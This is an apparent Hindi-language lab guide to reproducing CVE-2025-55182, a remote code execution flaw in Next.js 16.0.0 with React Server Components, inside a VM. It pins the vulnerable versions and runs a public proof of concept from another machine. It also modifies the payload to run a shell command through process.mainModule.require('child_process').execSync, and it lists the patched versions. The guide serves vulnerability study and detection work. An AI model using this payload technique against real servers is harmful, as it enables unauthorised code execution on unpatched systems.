
React Server Components के साथ Next.js 16.0.0 के विरुद्ध CVE-2025-55182 दूरस्थ कोड निष्पादन का प्रदर्शन करने वाली प्रतिलिपि प्रस्तुत करने योग्य प्रयोगशाला, जिसमें बाहरी शोषण निष्पादन और साइड-इफेक्ट सत्यापन शामिल है।
यह दस्तावेज़ Multipass Ubuntu VM के अंदर चल रहे एक असुरक्षित Next.js + React Server Components वातावरण के विरुद्ध CVE-2025-55182 रिमोट कोड एक्ज़ीक्यूशन (RCE) का प्रदर्शन करने के लिए एक पूर्ण और पुनरुत्पादक सेटअप प्रदान करता है।
एक्सप्लॉइट VM के बाहर से निष्पादित किया जाता है, जो रिमोट शोषण-क्षमता को सिद्ध करता है और पर्यावरण को असामान्य व्यवहारिक पहचान के लिए तैयार करता है।
स्रोत: https://github.com/ejpir/CVE-2025-55182-research
sudo apt update && sudo apt upgrade -y
sudo apt install -y curl git build-essential
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs
सत्यापित करें:
node -v
npm -v
sudo adduser reactlab
sudo usermod -aG sudo reactlab
su - reactlab
mkdir ~/react2shell-lab
cd ~/react2shell-lab
npx create-next-app@latest vulnerable-app
cd vulnerable-app
package.json में असुरक्षित संस्करण पिन करेंनिर्भरताएँ संपादित करें:
"dependencies": {
"next": "16.0.0",
"react": "19.1.0",
"react-dom": "19.1.0"
}
पैकेज फिर से इंस्टॉल करें:
rm -rf node_modules package-lock.json
npm install
सत्यापित करें:
npm list react react-dom next
अपेक्षित आउटपुट:
npm run build
npm start
अपेक्षित आउटपुट:
▲ Next.js 16.0.0
Local: http://localhost:3000
Network: http://10.X.X.X:3000

दूसरी मशीन पर:
curl http://10.102.169.126:3000
आपको डिफ़ॉल्ट Next.js HTML पृष्ठ प्राप्त होना चाहिए।
cd ~
git clone https://github.com/ejpir/CVE-2025-55182-research
cd CVE-2025-55182-research
ढूँढें:
hostname: 'localhost',
इससे बदलें:
hostname: '10.X.X.X',
Next अभी भी चालू रहते हुए:
node test-simple.cjs
Next.js टर्मिनल में अपेक्षित आउटपुट:
NON-CHUNKED-RCE
यह असुरक्षित संस्करणों का उपयोग करके React Flight के माध्यम से रिमोट कोड एक्ज़ीक्यूशन की पुष्टि करता है।

लक्ष्य अवलोकनीय व्यवहार (filesystem + प्रोसेस एक्ज़ीक्यूशन) उत्पन्न करना है।
test-simple.cjs के अंदर _prefix संपादित करेंढूँढें:
"_prefix": "console.log('NON-CHUNKED-RCE');//"
इससे बदलें:
"_prefix": "process.mainModule.require('child_process').execSync('touch /tmp/cve-2025-55182-syscall');console.log('NON-CHUNKED-RCE');//"
नोट: निष्पादन संदर्भ में require उपलब्ध नहीं है, लेकिन process.mainModule.require() उपलब्ध है।
सुनिश्चित करें कि Next चल रहा है, फिर:
node test-simple.cjs
फ़ाइल निर्माण की जाँच करें:
ls -l /tmp/
आपको देखना चाहिए:
cve-2025-55182-syscall
यह दुष्प्रभावों के साथ कार्यात्मक RCE की पुष्टि करता है।

पैच:
React ≥ 19.2.1
Next.js ≥ 16.0.7